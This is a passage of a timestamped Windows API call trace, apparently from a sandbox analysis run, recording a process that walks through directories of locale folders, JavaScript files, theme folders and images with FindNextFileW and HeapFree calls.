	[0173.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.579] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0173.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.580] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0173.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.580] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0173.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.581] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0173.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.581] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0173.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.582] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0173.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.583] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0173.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.584] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0173.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.584] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0173.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.585] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0173.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.586] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0173.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.587] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0173.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.587] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0173.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.588] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0173.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.589] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0173.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.590] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0173.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.590] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0173.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.591] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0173.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.592] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0173.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.592] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0173.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.592] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0173.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.593] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0173.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.593] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.594] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0173.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.594] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0173.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.596] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0173.596] FindClose (in: hFindFile=0x394b9f8 | out: hFindFile=0x394b9f8) returned 1
	[0173.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.596] FindNextFileW (in: hFindFile=0x394b738, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3506b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0173.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.596] FindNextFileW (in: hFindFile=0x394baf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0173.596] FindClose (in: hFindFile=0x394baf8 | out: hFindFile=0x394baf8) returned 1
	[0173.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0173.599] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 1
	[0173.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0173.786] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0173.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.828] FindNextFileW (in: hFindFile=0x394b7f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0416745, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="empty.png", cAlternateFileName="")) returned 1
	[0173.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.829] FindNextFileW (in: hFindFile=0x394b7b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.829] FindClose (in: hFindFile=0x394b7b8 | out: hFindFile=0x394b7b8) returned 1
	[0173.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.829] FindNextFileW (in: hFindFile=0x394b7f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0
	[0173.829] FindClose (in: hFindFile=0x394b7f8 | out: hFindFile=0x394b7f8) returned 1
	[0173.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.829] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="file_info.png", cAlternateFileName="FILE_I~1.PNG")) returned 1
	[0173.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.857] FindNextFileW (in: hFindFile=0x394b7b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.857] FindClose (in: hFindFile=0x394b7b8 | out: hFindFile=0x394b7b8) returned 1
	[0173.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.857] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0173.857] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0173.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0173.860] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
